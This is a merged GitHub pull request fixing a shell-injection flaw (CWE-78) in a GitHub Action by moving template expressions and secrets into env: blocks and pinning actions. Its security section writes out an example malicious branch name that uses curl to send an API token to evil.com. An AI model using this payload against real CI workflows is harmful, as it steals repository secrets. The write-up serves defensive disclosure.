Skip to content

fix: prevent shell injection and pin actions to SHAs [E-1815]#7

Merged
jonathansantilli merged 1 commit intomainfrom
action/E-1815
Apr 8, 2026
Merged

fix: prevent shell injection and pin actions to SHAs [E-1815]#7
jonathansantilli merged 1 commit intomainfrom
action/E-1815

Conversation

@jonathansantilli
Copy link
Copy Markdown
Collaborator

@jonathansantilli jonathansantilli commented Apr 7, 2026

Summary

  • Prevent command injection (CWE-78) via ${{ github.event.workflow_run.head_branch }} direct shell interpolation
  • Remove eval — replace with bash array execution
  • Remove env command that dumped secrets to workflow logs
  • Remove debug echo that printed API tokens to logs
  • Move all secrets (mobb-api-token, github-token) from run: blocks to env: blocks
  • Replace bash -l {0} with bash
  • Quote all variable expansions
  • Pin all action references to immutable commit SHAs

Preserves all new functionality from recent commits (commit-run support, organization-id input, URL extraction from mobbdev output).

Security Context

An attacker can create a git branch named test-$(curl${IFS}evil.com/${MOBB_API_TOKEN}) — this is a valid git branch name. When ${{ github.event.workflow_run.head_branch }} is used directly in a run: block, GitHub template engine pastes the branch name into the shell script before bash runs. Bash then executes the embedded $(...) as a command substitution, exfiltrating secrets.

The fix moves all ${{ }} expressions to env: blocks, where values are treated as data (not code) by bash.

Consumer Impact

None. The action inputs: and outputs: are unchanged. This fix is transparent to all consumers — no workflow changes needed.

Test plan

The injection test evidence is documented in detail at: mobb-dev/action#31 (comment)

Security fix for command injection vulnerability (CWE-78).

Changes:
- Move all ${{ github.event.* }} expressions from run: blocks to env: blocks
  to prevent shell injection via attacker-controlled branch names
- Replace eval with bash array execution for safe command invocation
- Remove bare `env` command that dumped secrets to workflow logs
- Move all secret inputs (mobb-api-token, github-token) to env: blocks
- Replace `bash -l {0}` (login shell) with `bash` (standard shell)
- Quote all variable expansions to prevent word splitting
- Pin all action references to immutable commit SHAs

Preserves all new functionality from recent commits (commit-run support,
organization-id input, URL extraction from mobbdev output).

The action interface (inputs/outputs) is unchanged — this fix is
transparent to consumers.

Ref: E-1815
@github-actions
Copy link
Copy Markdown

github-actions Bot commented Apr 7, 2026

image No security issues were found ✅

Awesome! No vulnerabilities were found by CodeQL

@jonathansantilli jonathansantilli merged commit 71c55d6 into main Apr 8, 2026
4 checks passed
@jonathansantilli jonathansantilli deleted the action/E-1815 branch April 8, 2026 10:10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants